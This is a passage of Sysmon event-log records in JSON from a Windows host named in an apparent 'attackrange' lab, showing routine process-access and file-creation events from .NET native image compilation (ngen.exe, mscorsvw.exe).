T\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8171,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.510\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-0010EE791000}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.510","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-0010EE791000}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8172,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.526\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-0010EE791000}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.526","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-0010EE791000}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8173,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.607\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-0010937D1000}\r\nTargetProcessId: 2436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.607","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-0010937D1000}","TargetProcessId":"2436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8174,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.607\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-0010937D1000}\r\nTargetProcessId: 2436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.607","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-0010937D1000}","TargetProcessId":"2436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:59","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8175,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:59.622\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-432F-5F2D-0000-0010937D1000}\r\nTargetProcessId: 2436\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:59.622","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-432F-5F2D-0000-0010937D1000}","TargetProcessId":"2436","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:00","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8176,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:00.010\r\nProcessGuid: {90617006-432F-5F2D-0000-0010937D1000}\r\nProcessId: 2436\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\984-0\\UIAutomationClient.dll\r\nCreationUtcTime: 2020-08-07 12:04:00.010","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:00.010","ProcessGuid":"{90617006-432F-5F2D-0000-0010937D1000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\984-0\\UIAutomationClient.dll","CreationUtcTime":"2020-08-07 12:04:00.010","EventReceivedTime":"2020-08-07 12:04:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8177,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:00.104\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4330-5F2D-0000-0010A6811000}\r\nTargetProcessId: 1164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:00.104","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4330-5F2D-0000-0010A6811000}","TargetProcessId":"1164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8178,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:00.104\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4330-5F2D-0000-0010A6811000}\r\nTargetProcessId: 1164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:00.104","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4330-5F2D-0000-0010A6811000}","TargetProcessId":"1164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:01","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:00","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8179,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:00.104\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4330-5F2D-0000-0010A6811000}\r\nTargetProcessId: 1164\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:00.104","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4330-5F2D-0000-0010A6811000}","TargetProcessId":"1164","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntd